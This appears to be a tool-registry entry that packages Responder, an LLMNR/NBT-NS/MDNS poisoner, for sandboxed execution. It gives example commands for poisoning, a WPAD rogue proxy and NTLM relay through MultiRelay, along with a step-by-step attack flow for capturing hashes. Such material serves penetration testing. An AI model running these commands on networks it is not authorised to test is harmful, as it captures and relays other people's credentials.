security enabled verified high v1.0.0

Responder

LLMNR, NBT-NS, and MDNS poisoner that captures NTLMv1/v2 hashes for offline cracking or relay attacks in Windows network environments.

📋 Live Preview 
Responder -I {interface}
📎 interface 
Responder -I {interface}

Sandbox: execFile · Timeout: 86400s

Capabilities

security.poison.llmnr
security.poison.nbtns
security.poison.mdns
security.capture.hash
security.mitm.responder
security.relay.ntlm

Parameters

Name Type Required Default Description Aliases
interface string Yes - Network interface to listen on -
analyze boolean No - Analyze mode (passive, no poisoning) -
wpad boolean No - Enable WPAD rogue proxy -

Contract

Inputs

network.interface

Network interface to listen on

Outputs

security.credential.hash

Captured NTLMv1/v2 hashes

Side effects: network_trafficraw_socket_access

Workflow Edges

Produces

security.credential.hash

Consumes

network.interface

Resource Profile

ResourceValue
CPUlow
Memory64 MB
Networkmedium
Disk I/Olow

Examples

Launch Responder in default poisoning mode

Responder -I eth0

Analyze mode — passive listening without poisoning

Responder -I eth0 -A

Enable WPAD rogue proxy server

Responder -I eth0 -w

Disable HTTP and SMB servers (for relay attacks)

Responder -I eth0 -HTTP off -SMB off

Multirelay attack — relay captured hashes to target

python3 Multirelay.py -t 10.10.10.1 -u ALL

Documentation

Responder — LLMNR/NBT-NS/MDNS Poisoner

Responder is an LLMNR, NBT-NS, and MDNS poisoner that responds to name resolution requests on a victim's network, causing victims to send authentication credentials to attacker-controlled services.

Attack Flow

  1. Victim mistypes a hostname or a service fails DNS resolution
  2. Victim broadcasts LLMNR/NBT-NS asking "who has this name?"
  3. Responder claims ownership and provides an attacker-controlled service (SMB, HTTP, etc.)
  4. Victim sends NTLMv1/v2 hash to authenticate
  5. Captured hash is cracked offline or relayed to a target server

Key Options

Option Effect
-I eth0 Interface selection
-A Analyze mode (no poisoning, just logging)
-w Enable WPAD proxy
-f Fingerprint victims
-v Verbose output

Dependencies

python3

Related Tools

impacketnetexec

References